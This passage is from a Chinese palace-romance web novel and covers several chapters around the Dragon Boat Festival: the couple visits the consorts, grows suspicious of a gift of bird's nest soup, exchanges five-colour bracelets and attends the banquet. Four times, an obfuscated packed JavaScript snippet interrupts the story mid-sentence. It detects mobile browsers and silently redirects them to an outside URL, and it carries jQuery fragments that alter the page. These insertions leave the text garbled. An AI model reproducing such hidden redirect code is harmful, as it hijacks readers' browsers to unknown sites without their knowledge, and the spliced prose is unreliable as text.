人一到延禧宫,高奇奇立马嘴角翘起,笑容灿烂的和天上的太阳有一拼。 一眼望去,只觉得热情无比。 “儿媳向惠额娘问安,惠额娘万福金安。”高奇奇咬字清脆,既活力又悦耳。 惠妃一见到高奇奇和胤禩,立马露出慈爱的笑脸。 “胤禩和儿媳来了?快坐。”惠妃笑着招手道。 高奇奇可不敢坐下,她和胤禩先请罪道:“不知道惠额娘要召见儿子/儿媳,一时在安王府多留了一会儿,让长辈等候,儿子/儿媳实在心生惶恐,请您原谅。” 惠妃眼神慈和道:“哪里到了要认错的地步。不过是遣奴才过去多站了一会儿,并不耽误我的事情。今日是儿媳回门,多陪一会儿亲家舅舅和亲家舅母才是应该的。” “是不是王旭传话传的不明不白?这奴才,除了在院子里扫扫灰尘叶子,一点用处没有,竟耽搁事。”惠妃道。 高奇奇和胤禩连道:“没有没有,和王公公无关。” “坐下吧,难道还要惠额娘亲自扶你们入坐?”惠妃道。 高奇奇和胤禩这才坐下。 “本宫让王旭去东华门等你们,本就是想问一问,今儿回门的可还顺利,胤禩的表现如何?亲家舅舅、亲家舅母有没有特意叮嘱的话?现在知道你们在安王府留的久,我这心就放下了。若是不喜爱你们,又怎么久留。可见我的儿子是讨喜的。”惠妃道。 胤禩亲近不失恭敬的回道:“旁的儿子不敢说,但是,二舅舅送给儿子一匣子的名家字帖,很是珍贵。想来,不是对儿子不满。” 惠妃一愣,而后掩嘴直笑。 “你的字,连宫外的亲家舅舅都知道了?”惠妃揶揄道。 胤禩道:“儿子本想扬长避短的,不过二舅舅本就是宗亲,儿子在尚书房的表现,他大约是早就从堂兄弟那儿知道了。笔墨往桌前一摆,儿子可不就现原形了。” 胤禩又道:“好在福晋及时去书房,救儿子于火海之中。若不然,儿子不知该怎么在舅舅们面前立足了。实在是羞愧的很。” 惠妃赞许的看向高奇奇,对儿媳的表现很满意。 “宗室之间,文风一直以安王府为最盛,安郡王的书画更是双绝。你既然知道羞愧,回头就好好练字,别又为了练字的事儿,和你汗阿玛争执起来。”惠妃苦口婆心道。 胤禩对着惠妃一阵撒娇,作小儿姿态,就是绝口不提回头会好好练字。 “罢了罢了,你已经成婚了,不再是小孩子,惠额娘就不念叨你学业上的事了。”惠妃道。 “儿媳,你脚上的伤可好了?”惠妃问道。 高奇奇甜丝丝一笑,乖巧答道:“让惠额娘担心了,裹了几天的棉纱布,昨儿伤口的痂才全部掉了。今儿走路时,基本没有影响。” “儿媳这几日没能来给您请安,心愧难安。打明儿起,儿媳天天来延禧宫,给惠额娘打扇侍膳,您可别嫌儿媳烦。”高奇奇道。 惠妃笑着道:“我难道是刻薄儿媳的婆婆?儿媳脚受伤了,还非要让她出门?年纪轻轻的,心思不要太重。你啊,是得了我的允许不来请安,在院子里休息养伤的。” “是,惠额娘最是仁慈大度,疼爱晚辈了。是儿媳想和您亲近,儿媳还想多蹭一顿延禧宫的好伙食。”高奇奇道。 惠妃笑的乐不可支,不得不抬起袖子遮住脸,保住形象。 “儿媳还要谢惠额娘,行喜礼那日,帮儿媳和贝勒爷,多向荣娘娘要了好些好东西。我和贝勒爷的小金库,一下子就富裕了许多。”高奇奇道。 她圆溜溜的大眼睛,真诚的看着人。 惠妃在这件事情上,有一丝心虚。 “你嫁给了胤禩,就也是惠额娘的孩子。当额娘的,哪有不护犊子的。况且,荣妃那日无状,也是给了我没脸。你不必将那日的事情放在心上,荣妃不会四处说的。”惠妃给儿媳吃下一个定心丸。 “卫嫔娘娘到。” 在高奇奇和胤禩来了延禧宫好一会儿,茶水都喝了小半时,卫嫔姗姗来迟。 卫嫔来迟,是有意为之。 惠妃是延禧宫宫主,又是胤禩的养母。卫嫔若是来的早了,养母、生母坐一块儿,平白让儿子、儿媳为难。 以惠妃为重吧,显得他们轻视生母。 以生母为重,则让惠妃没了脸面。 不如晚来一会儿,先让孩子们对惠妃敬孝心。 这是卫嫔在后宫多年的生存法则。 依附他人,不得不小心谨慎。有了胤禩以后,她更一心只为胤禩着想。 她本就是个没脾气的人,不怕受委屈。只要孩子过的好,一切都值得。 况且,惠妃娘娘待她挺好的,并不曾有过为难。 卫嫔过来后,高奇奇和胤禩连忙起身行礼问安。 卫嫔眼神慈爱的着了他们一眼,然后先向惠妃行礼问安。等和惠妃互相问完礼,才叫儿子、儿媳起来。 等人都坐下,惠妃道:“叫你们两个过来,还有另一桩事。” 高奇奇和胤禩立马正襟危坐,等着惠妃发话。 惠妃轻笑道:“别紧张,是端午的事情。” “离端午只有三天了,儿媳编了五彩绳吗?菖蒲叶、艾草都挂上了没有?”惠妃道。 高奇奇和胤禩两眼发直。 一看他们的表情,就知道什么都没有准备。 惠妃道:“别的都不着急,就算你们不记得,底下奴才也会去内务府取艾草这些。但是,五彩绳若是能自己编,还是自己编的为好。” 如果真是这样,就不必惠妃特意说出来了。 高奇奇机灵道:“儿媳手笨,五彩绳编是会编的,但是总编的不那么好看。往年端午节时,想必都是惠额娘和额娘编了五彩绳,送给贝勒爷戴在手臂上的吧?” 惠妃和卫嫔慈爱的笑着点点头。 “胤禩从小到大戴的五彩绳,都是我和卫嫔编的。他再小一些的时候,我们还亲手给他制虎头帽、虎纹衫穿戴。”惠妃道。 “还请惠额娘疼爱儿媳,儿媳的手艺,大约一时半会儿进步不了。今年还得劳烦您和额娘再给贝勒爷编一年五彩绳了。”高奇奇道。 惠妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656375|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉目舒展开,偏偏她要矜持一下:“你个懒丫头。既然如此,那我和卫嫔就再劳累一回。等到了明年,这差事可是要交给你的。到时候,你不许再推托。” 明年自然有明年的说辞。 不过是个手绳罢了,她还落了个省事轻松。 高奇奇对谁来编五彩绳并不在意,她在意的是粽子。 端午节,又名粽子节。当然要吃粽子了。 “惠额娘,端午节的粽子,是各自的小厨房自己做,还是从御膳房拿?”高奇奇好奇道。 以御膳房重油大荤的做菜习惯,高奇奇担心粽子叶一剥开,薄薄的一层糯米下面全是五花肉。 惠妃和卫嫔皆没想到,儿媳会问这事儿。 “原来是个贪吃鬼。无论你们自己的小厨房包不包粽子,端午那天皇上都会赐下粽子。”惠妃道。 康熙赐的粽子,当然是从御膳房送出来。 高奇奇点点头,思索了一下,又道:“那粽子是什么口味的?甜的咸的?” 高奇奇说着说着就馋上了,要不是时间来不及,恨不得回去就洗粽叶、泡糯米,包几个口味不同的粽子,蒸着吃。 惠妃给卫嫔使了个眼色,让她和儿媳说去。 这个贪吃鬼,一提到粽子,整个人都来了劲,眼睛亮闪闪的。 卫嫔笑容温婉,声音也温柔极了。 和卫嫔说话时,高奇奇总是要克制自己的语速。生怕自己话说的太快,显得粗鲁。 “御膳房做的粽子,大多是蜜枣馅儿、豆沙馅和咸蛋黄粽、鲜肉粽,也有黄米粽子和枣泥粽,种类颇多。你偏爱什么口味的,提起和御膳房说一声,他们会记下。到时送粽子时,就会送你爱吃的口味。”卫嫔道。 高奇奇扭头看了一眼胤禩,然后询问卫嫔道:“额娘,贝勒爷喜欢什么口味的粽子啊?” 卫嫔笑容藏不住的道:“胤禩最喜欢枣泥粽子和红豆粽子。咸蛋黄粽子他也能偶尔吃一口。” 高奇奇点头记下:“额娘,我记下了。” “在安王府的时候,我跟着二舅母学过包粽子,手艺还不错。等端午节那天,儿媳给惠额娘和您送上亲手包的粽子,以敬孝心。” 卫嫔正要主动告诉儿媳,自己和惠妃的口味喜好。 高奇奇道:“额娘千万别帮我和贝勒爷作弊。您和惠额娘的口味,回头我问贝勒爷。若是,到时候粽子的味道,不合您们的口味,您们就罚贝勒爷,儿媳我是无辜的。” 高奇奇古灵精怪的冲卫嫔眨眨眼,卫嫔掩嘴一笑:“好,就考考胤禩。” 卫嫔对高奇奇的印象很好,她的胤禩从小心思沉静,人人都夸他好脾气,可好脾气的人,容易把不开心憋在心里。 现在有个活泼开朗的福晋,陪伴着他闹一闹正好。 高奇奇和胤禩今日回宫,确实回的晚。 即使白昼变长,两人在延禧宫陪着惠妃、卫嫔说了会儿话,天色就渐渐暗了。 眼瞅着时间不早,惠妃虽然不舍,还是发话让小两口赶紧回去。 别等着天黑了,走路不方便。 15. 第十五章 空手而去,满载而归。 出了延禧宫,高奇奇满意的回头看着了眼身后太监们手里捧着的东西。 这都是她耗尽了脑细胞,笑到脸都要僵了,才从两个婆婆手里得来的好东西。 真是满满的成就感啊。 “八贝勒、八福晋,请留步。” 高奇奇和胤禩手牵着手,才走了没十米的路,身后突然传来喊声。 两人停住脚步,胤禩没有动,高奇奇疑惑的回头。 只见一个宫女,手里拎着食盒,小跑着追过来。 “奴婢是惠妃娘娘身边的二等宫女玲珑。”宫女先自我介绍道。 高奇奇随意的打量了她一眼,相貌清秀,低着头的动作,看起来是个规矩人。这样的宫女,处处可见,从背影看甚至无法一眼认出谁是谁。 可是,规矩人不会在主子面前这么说话。 “娘娘一早吩咐小厨房炖下的燕窝,就等着八福晋过来时,端给福晋尝尝。谁知等福晋走了,娘娘才想起来。于是,便吩咐奴婢将一盅燕窝全部装起来,赶紧送来给福晋,请福晋回去后尝尝味道。”宫女道。 高奇奇和胤禩人还在延禧宫的范围内,不用担心宫女说谎。 初一上前,从宫女手中接过食盒。 “惠额娘疼爱,儿媳感动万分,一定不会辜负。”高奇奇道:“请玲珑姑娘回禀时,代我向惠额娘道谢。” 宫女屈膝行礼:“是。” “八贝勒大婚,奴婢还未向您贺喜。奴婢诚心祝愿您和八福晋,百年好合,子孙满堂。”宫女道。 胤禩微微颔首,表示知道了。 拿了燕窝,高奇奇和胤禩继续往回走。 这才说了几句话的功夫,天又黑了一些。 两人加快了脚步,刚回到他们院子,院子里就点起了蜡烛。 随行的宫女、太监们四散而开,只留下主子身边的心腹。 “那盅燕窝,倒掉吧。”胤禩道。 高奇奇愕然,她道:“是燕窝里有毒?有人要害我?” 怎么办,第一次遇到宫斗里的下毒,有点儿小激动呢。 胤禩无奈的摇摇头,宠溺笑道:“我不是太医,哪儿知道燕窝里有没有毒。只是直觉那个宫女不对劲。不论这燕窝是不是惠额娘让送的,只要不是在惠额娘眼皮子底下给的,还是不动为上。” 高奇奇听从道:“初一,听贝勒爷的。他比我聪明。” “说实话,我也一见到那个宫女,就觉得不对劲。虽然她哪儿哪儿看着都挺正常的,但是她一靠近,我胳膊上的汗毛都竖起来了。”高奇奇道。 “别怕。我明日去延禧宫请安的时候,问一问惠额娘。那个宫女,眼生的很,以前没见过。若是个内里藏奸的,惠额娘正好有所警惕。在后宫里,惠额娘查起来宫女,比我们方便。”胤禩道。 无论是胤禩,还是高奇奇,都没有怀疑过惠妃。 给养子儿媳下毒这种事情,惠妃就算是哪天脑子不清醒,也不会做出这样损人不利己的事。 事情交给胤禩去处理,高奇奇很放心。 胤禩去和惠妃说,必然会比高奇奇提出来,更加让惠妃上心。 儿媳出了事,还能再娶一个。养子要是出了事,那真是哭也没用。 谋害皇子和谋害皇子福晋的严重性,也完全不同。 散步在幽静小道上,天上的月亮从下弦月,变成了上弦月。 又是一个月的月初。 高奇奇望着没有星星的天空,道:“明天一定不是个艳阳天。” 胤禩跟着仰起头,他没看出个所以然。 “奇奇懂得看天象?”胤禩问道。 高奇奇道:“这算哪门子看天象。只是以前听安王府里的老嬷嬷说,没有星星的夜晚,第二天多半是阴天或者下雨。” “是位有智慧的老人。”胤禩道。 高奇奇道:“活得久了嘛,经历的多了,总会有一些人生经验的。” 初一拎着食盒,跟着主子和贝勒爷的身后,神情茫然。 她不明白,主子在面对燕窝可能出问题的状况下,怎么做到轻松自在的和贝勒爷看月亮谈星星的。 高奇奇像是听的懂初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656376|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一的心声一般。 她回过头,给自己吓自己,脸都吓白了的初一解释道:“一个小宫女,就算是手里有毒药,又能弄到什么见血封喉的东西?能有让人腹泻的巴豆粉,都算是她本事厉害的。” “我估摸着,如果那个宫女真的不对劲,对燕窝最多也就是往里吐吐口水,或是撒一把灰尘。”高奇奇道。 “我和贝勒爷是担心她如果心思不纯,以后做出背主陷害的事情,那才危险。”高奇奇道。 初一庆幸的拍拍胸口,长舒一口气:“那就好,那就好。” 不对,这有什么好的啊。 还是很危险啊。 下毒,让太医查一查,还可以防范。 背主陷害,那真是防不胜防,不知道什么时候会被捅上一刀。 十五想的就比初一豁达多了。 “初一,你忘了,咱们主子是皇子福晋,宫女是伺候主子的奴才。主子想要防一个奴才,能有什么难得。最简单的,就是把人调走调的远远的。”十五道。 十五此言一出,高奇奇和胤禩纷纷给予她赞赏的眼神。 说的不错。 阎进也看了十五一眼,没想到瞧着有些憨厚的圆脸姑娘,居然这样内里藏秀。 “不愧是我的好账房先生,胆大心细,天生适合管钱。”高奇奇夸道。 “主子谬赞了。”十五嘿嘿一笑。 初一心道,十五那不是胆大心细,她是傻大胆,莽的很。 “初一也很好,时时刻刻都为我考虑,关心我。”高奇奇一碗水端平。 初一脸色红润了一些,她稳重的笑道:“这是奴婢的本分,当不得主子特意夸。” 福晋身边的两个大宫女都被夸了,气氛喜气洋洋的。 阎进不由自主的看向胤禩,眼神里有一丝期待。 “你和马起云是我身边最得力的左右手。”胤禩没让阎进失望,他甚至还夸了一句人不在面前的马起云。 胤禩一直是个很会照顾他人情绪的人。 阎进唇角微微翘起:“能伺候贝勒爷,是奴才的福分。” 16. 第十六章 时间一晃而过,端午佳节很快就到临。 高奇奇嘴上说着不用给胤禩编五彩绳,省了事儿,实际还是和初一、十五她们坐在一块儿,认认真真的编了几条五彩绳。 就当是打发时间了,也挺好玩的。 端午节的当天,高奇奇和胤禩醒来,一睁眼就互道了句:端午安康。 高奇奇神秘兮兮,从她睡的枕头底下,摸索出来一个五色绳子。 “呐,别说我对你不用心哦。我可是练手了好几条五彩绳,才编出一条最满意的。送给你。祝你这一年里,身体健康,不染病瘟。”高奇奇红润的手心,捧着精致的五彩绳,笑盈盈道。 胤禩的胳膊也动了动,手伸向枕头下。 “这是我第一回编绳子,或许不够完美,但是愿它保佑你无病无灾。“胤禩神色真挚。 高奇奇望着他的手,似乎能看到他躲着偷偷编五彩绳的模样。 “原来这就是你这几日总留在书房,回屋晚的原因啊。我差点以为你金屋藏娇,有人陪在书房红袖添香呢。”高奇奇道。 高奇奇心动的小格子,又往前跳了一个。 她数一数,一百个小格子,快跳到一半了。再来几回,就到了她心动的及格线。 这已经是她克制下的结果。 胤禩这个男人,他太会浪漫了。 早晨的拥抱,下值回来后带着的花,不定时送出的惊喜,还有夜晚恪守规矩的陪伴。 他温和儒雅,风趣幽默,专一有担当,并且信守承诺。 迷人的灵魂,甚至比他俊秀的外表,更让她沉溺其中。 “胤禩,戴上我的五彩绳,你就要被我拴住了。”高奇奇道。 胤禩道:“好。” “你知道我在说什么吧?”高奇奇问道。 胤禩将她的右手衣袖卷起来,五色交织的五彩绳,系在那只软如凝脂的白嫩手臂上。 “我知道。奇奇,你先别说话,我有点儿激动。”胤禩深吸一口气。 他缓了好一会儿,才小心翼翼的靠上前,如同抱着稀世珍宝一样,抱住他的心上人。 她戴上了他的五彩绳,她的心也被他拴住了。 “奇奇,这是我过的最开心的一个端午节。谢谢你。” 谢谢你允许我爱你,谢谢你也开始爱上我。 微微发颤的手,躁动的心脏,滚烫发热的嘴唇,他虔诚无比的吻上她的额头、鼻尖、脸颊,还有下巴。 胤禩有些羞涩道:“一会儿我让马起云将屋子重新布置,把龙凤喜烛再摆上。等晚上,奇奇,你会答应我吗?” 高奇奇脸烧如红霞,她被胤禩紧紧抱着,想要躲到被子里也不能。 找不到躲藏的地方,她头一低,把自己的脸埋在胤禩怀里。 “答,答应的吧。”高奇奇磕磕绊绊的,紧张道。 站在门外的马起云和十五,听到屋里突然一阵东西摔倒砸下的声音,慌忙推门而入。 “主子。” “贝勒爷。” 四人面面相觑,紧接着是良久的沉默。 “奴婢/奴才什么都没有看到。奴婢/奴才告退。”马起云和十五左脚绊右脚的,慌慌张张退出去。 他们刚才看到了什么? 贝勒爷好像是从床上摔跌倒到地毯上了。 十五大脑开始飞速的运转着,按照她刚才看到的景象分析。 她家主子,不会把贝勒爷踢下床了吧? 怎么办?这时候她是要杀人灭口,还是替主子顶罪。 贝勒爷那么喜爱主子,应当不会怪罪主子的吧。 反正,夫为妻纲这一条,自打进宫以来,十五就没在八贝勒院子里看到过。 对于高奇奇的武力值,十五十分信任。完全没有去想,有没有可能是胤禩自己摔下来的。 高奇奇盘腿坐在床上,居高临下的看着摔坐在地上,还没有起来的胤禩。 “我的名声啊。”高奇奇哀嚎。 明明是胤禩接收到她的表白心迹,太激动了,一脚踩空,从床上摔了下去。 苍天在上,她是无辜的。 高奇奇欲哭无泪。 八福晋悍妇的名声,不会从这一刻被冠上了吧。 胤禩揉了揉后腰,好在他察觉到踩空的时候,及时调整了姿势。若不然,现在肯定是崴了脚,躺在床上等太医过来。 好好的新院子,人一住进来,先是女主人脚受伤,再是男主人脚受伤,康熙高低要把内务府的人揪过来,问问他们是怎么修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656377|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缮院子的。 修缮前没拜好灶王爷和土地公吗? 高奇奇伸出手:“我拉你起来。” 胤禩摆摆手,道:“我缓一缓,自己能起来。别把你一起拉着摔倒了。” 高奇奇想了想,她从床上下去,赤着脚走到胤禩旁边。 地毯很柔软,穿不穿鞋都一样。 “摔到哪儿了?我帮你揉揉。”高奇奇道。 胤禩脸瞬间涨红,一叠声的拒绝:“不用不用。” 高奇奇站起身,绕着他走了一圈,然后重新蹲下。 她捂着嘴偷笑:“摔到屁股啦?” 所以不好意思让她摸。 高奇奇就是个口嗨怪,胤禩害羞的时候,她敢大着胆子调戏。真要到了行动的时候,她立马像含羞草一样,稍稍一碰就把自己合起来。 胤禩早发现了她的色厉内荏。 “既然奇奇这么想帮我,那你就来吧。”胤禩手一摊,大大方方道。 高奇奇连忙后退,和胤禩拉开距离。 但是,又觉得她这样太过冷漠无情。 高奇奇又磨蹭两步凑过去,双手拉着胤禩的胳膊:“你快快起来,我要喊梳头宫女进来,给我梳头了。今儿不是还有端午宴和划龙舟吗?那么多热闹的事情,别耽搁了。” 高奇奇像是拔萝卜一样,把胤禩从地上拔起来。 看着胤禩站起来后,她不放心道:“还疼吗?” 胤禩掐了掐她的脸:“不疼。有地毯在,你夫婿我还没有这么柔弱。” “马起云,叫人进来伺候。”胤禩中气十足,扬声喊道。 马起云进来的时候,头不敢抬一下,生怕自己又看到不该看的场面。 等高奇奇去了梳妆台,马起云一边给胤禩穿靴子,一边道:“贝勒爷,您还好吧?要不要奴才给您拿瓶药酒过来,活血化淤。” 另一边,为高奇奇挑穿戴首饰的十五,也小声道:“主子,可要奴婢去太医院,请毛太医来一趟,给贝勒爷看看?” 每回安王府府里的主子身体不适,十回有九回去的都是毛太医,算得上是老熟人了。嘴严得很。 即使隔着一道屏风,空间相隔,胤禩和高奇奇还是异口同声。 “不用!” 17. 第十七章 后宫嫔妃们,一早聚在了一块。 年轻的嫔妃们,打扮的娇媚可人,争奇斗艳。如惠妃、宜妃、德妃、荣妃等有资历的宫妃,则妆容端庄大气。 五月的花儿开得最好看,争奇斗艳。 皇帝后宫的女人们,也是一样。 年轻嫔妃们比圣宠,比美貌。 四妃攀比的就是儿子和儿媳了。 惠妃手边的桌子上,摆在一碟剥了粽子叶的粽子。粽子精致小巧,白玉般的糯米,散发着粽叶的清香,一个还没有鸡蛋大小,吃到嘴里一点儿不会狼狈。 每个粽子被对半切开,露出里面的馅。 什么味道都有,甜的、咸的,但是最多的,还是惠妃喜欢的口味。 卫嫔的桌席上,放的粽子和惠妃的一样。区别只是口味不同。恰巧,也是卫嫔喜欢的口味,摆在碟子里的最多。 “惠妃姐姐,您偏心。怎么这桌上的粽子,就您和卫嫔妹妹的不一样。瞧着比我们这些桌上的粽子,可口多了。”荣妃一过来,就咋咋唬唬道。 宜妃和德妃瞌下眼眸,不想去看接下来的场面。 她们已经被惠妃和卫嫔一唱一和的炫耀过一番了。 惠妃典雅雍容道:“荣妃妹妹这就冤枉我了,我做事素来公正,不偏不倚,怎么会偏心。你仔细瞧瞧,你桌案上的粽子,和往年御膳房做的粽子,是不是一样的。” 荣妃瞥了一眼,道:“我们的是一样的,可是惠妃姐姐你的不一样啊。我眼神好得很,姐姐莫要糊弄我。” 惠妃愉悦的笑了笑:“荣妃妹妹的眼神确实好。实不相瞒,我和卫嫔桌案上的粽子,真不是我吩咐人做的。实在是我家小儿媳,心地孝顺,非要自己淘米洗粽叶,亲手给我和卫嫔包粽子,孝敬我们。” “八福晋还会包粽子?”荣妃一脸不信。 安王府的贵女,不应该是十指不沾阳春水吗? “惠妃姐姐,你莫不是为了给八福晋添个孝顺名声,故意做戏哄骗我们的吧。”荣妃道。 惠妃毫不生气,她喜笑晏晏道:“太后和皇上那儿,八福晋也送了粽子过去。” “不仅如此,这孩子还编了五彩绳、做了端午香包。样样都是亲手而为,不假手他人。今儿一早,我看到这些东西啊,眼睛都湿润了。这心里热乎乎的。” “荣妃,你说这样用心的好孩子,做长辈的怎么能不疼爱。” 惠妃只说着就罢了,她还提起一点儿袖子,露出手腕,五色的五彩绳,存在感十足。 “你瞧瞧,多好看。荣妃,你没有吧?”惠妃道。 荣妃用力抚了抚胸口,她现在气的胸口发闷,喘不上气来。 惠妃,惠妃她是故意的! 等回头,她就让自家儿媳,和儿子的侧福晋、格格们,一人编个十条八条五彩绳。 可那也是输了啊! 看到荣妃不高兴,惠妃就高兴了。 小儿媳第一天见她的时候,和她多么亲近。说起话来,声音甜甜蜜蜜的,可乖巧讨喜的一个小闺女。 从安王府回来一趟后,再给她请安时,人就规矩了许多。 不用问也知道,肯定是安郡王福晋知道了行喜礼那日的事情,仔细教导了小儿媳一顿。 不能说安郡王福晋分析错了,但是惠妃也不会承认自己当时有敲打的心思。 反正,千错万错,都是荣妃的错。 就是这个棒槌,胡乱说话。给诚郡王塞妾室就罢了,手还伸到她家小八后院。 弄的现在她和小儿媳,婆媳之间面和心不和。 惠妃吃了一口蜜枣粽,舌头尝着是甜的,心里是苦的。 后妃们各有各的热闹,皇子和皇子福晋那边,也不遑多让。 高奇奇打扮漂亮后,欢欢喜喜的和胤禩手牵着手前去赴宴。 端午宴的地方就那么一个,但是耐不住空场大。后妃们在一边,皇子们在另一边,公主们也有自己玩耍的地方。 大家互不干扰,但是开宴的时候又能聚在一块儿。 “八弟和八弟妹来啦?诶哟,看看这小夫妻俩儿,衣服上的配饰都是一对的,生怕别人瞧不出来。这刚成婚啊,就是感情好。”手盖在肚子上的福晋,爽利的打着招呼。 其他一众人,闻声纷纷或转头或抬眼的,向来人看过去。 胤禩给高奇奇介绍道:“这是三嫂。” 皇子嫡福晋里,暂时只有三福晋怀着身孕。就算单独遇见,从对方微微隆起的小腹上,高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656378|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇奇也能猜出来。 “三嫂安。”高奇奇扬着笑脸道。 “八弟妹安。”三福晋含笑回礼道。 “三嫂有孕,还保养的这么好,面容光洁。想来三嫂和三哥的感情也不差,夫妻和睦。您就别打趣我了。”高奇奇道。 三福晋摸了摸自己的脸,掩嘴笑道:“我今儿敷了粉的。” “是吗?凑近看也瞧步出来,是只薄薄的打了一层?那还是得是要皮肤底子好。”高奇奇真诚道。 三福晋高兴的合不拢嘴:“赶明儿,我邀请你到我院子里小坐。” 太子妃和四福晋,高奇奇都是见过的,不用胤禩另外介绍。 剩下的五福晋和七福晋,年纪相仿、衣着相仿。乍看一眼,在不提前知晓的情况下,不好分辨。 但是,仔细打量她们眉宇间的气质,又好分辨的很。 五福晋家世寻常,嫁给五贝勒两年,不得丈夫喜爱,又没有娘家给底气,眉眼透着事事谨慎的神态。 七福晋哈达纳喇氏,娘家累代高官,又和宗室连过亲,门第很是不错。 七贝勒因为足疾,年幼时就被康熙过继给纯亲王隆禧。虽然住在皇宫里,但是在皇子中身份有些尴尬。 被排除在皇子圈子范围外,这一对夫妻反而日子过的舒坦。因此,七福晋的面容平和幸福,脸颊微微有些圆润。 “佩戴端午香囊的,是五嫂。手里拿着粉色碧玺十八子的,是七嫂。我猜的对不对?”高奇奇问胤禩道。 胤禩夸道:“聪明。” 皇子福晋好认,阿哥们也好分辨。 直郡王孔武彪悍、太子矜贵威严、诚郡王书生气重、四贝勒表情严肃、五贝勒笑容憨厚、七贝勒的站姿稍有些不同。 九阿哥和十阿哥,高奇奇在这两个弟弟这儿卡住了。 “上次看到宜娘娘,姿容绝色、明艳夺目。可是,九弟的样貌,好似没有像宜娘娘的地方。”高奇奇发了愁。 两个身形都有一些胖的阿哥,亲亲热热的站在一块儿,实在不好认。 胤禩轻咳一声:“穿蓝色衣服的是九弟,穿红色衣服的是十弟。九弟只是还在长身体,等他再长大些,瘦了就好辨认了。九弟的眼睛和宜娘娘一样。” 18. 第十八章 打了一圈招呼,将皇子和皇子福晋们都认熟了,胤禩和高奇奇坐到自己的桌案后。 桌子上,摆好了粽子、瓜果点心和一壶奶茶。 御膳房的粽子,高奇奇和胤禩早上醒来后已经尝过了。 用胤禩的话说,不如奇奇做的合胃口。 高奇奇也这么觉得,她还是喜欢她自己包的粽子。 话虽如此,御膳房的手艺还是可圈可点的。 胤禩和高奇奇两人的意见,是有些偏颇的,不够公正。 为了应景,高奇奇随手挑了个粽子,让初一拿去剥了粽叶,将粽子切开成小块。若是甜口的,就撒上些白糖,再端回来。若是咸口的,就配上酱油。 相较于从几天前,就开始吃的粽子,高奇奇更想尝一尝摆在果盘里的枇杷。 端午时节,正是枇杷成熟的时候。 黄澄澄的枇杷,果肉甜而清爽。 但是,她又嫌剥枇杷皮麻烦。 高奇奇拿着一颗枇杷,在手里把玩纠结着。 可惜将初一派出去了,要不然就有人给她剥枇杷了。 “汗阿玛什么时候过来?”高奇奇张望着。 却听胤禩道:“啊,张嘴。” 高奇奇没有去看,就信任的张开嘴。 一颗圆溜溜的水果,掉进嘴里。 高奇奇眼睛里迸发出愉快的光芒,她回头一看,胤禩在旁边认真的剥着枇杷。 修长的手指,修剪成圆弧的干净指甲,指端是血气充足的粉色。 高奇奇双眼目不转睛,不知道是在看那双漂亮的手,还是看美味的枇杷。 又剥好一个枇杷,胤禩自然而然的递给她。 “二舅舅和我说过,你喜欢吃枇杷。你小时候有一回去庄子上玩时,为了摘枇杷,偷偷爬上枇杷树,摔下来后,不哭不闹的,坐在原地就剥枇杷吃,高兴的咯咯直笑。” “但是,长大了以后,你就只喜欢吃枇杷,不喜欢剥皮。好在府里有下人,用不着你动手。二舅舅说,妙奇啊,是天生的富贵命。”胤禩学着安郡王的语气道。 高奇奇捂着嘴,咯咯直笑。 胤禩好似透过时光,看到了小时候的她,白胖白胖的漂亮娃娃,笑起来也是这么可爱。 不一会儿,一果盘的枇杷,全给剥完了。 旁边落座的九阿哥,默默递过来一盘没有动的枇杷。 “八哥,给你。”九阿哥道。 胤禩看着满满的一盘枇杷,没有说话。 他的手剥的有些酸了。此时,并不是很想再看到一盘枇杷。 “九弟的好意,哥哥心领了。我们桌上的果盘尚且够吃,你的拿回去吧。”胤禩道。 “八哥不用和我客气,你拿我的,我拿十弟的。”九阿哥道。 十阿哥茫然的“啊”了一声。 为什么要拿他的果盘。 宫里已经连枇杷都供不起了吗? 胤禩恳切无比:“真的不用。” 九阿哥打量着胤禩的神色,见他不似作伪,便收了回去。 “好。八哥需要的时候,和我说一声。”九阿哥道。 高奇奇小声笑个不停。 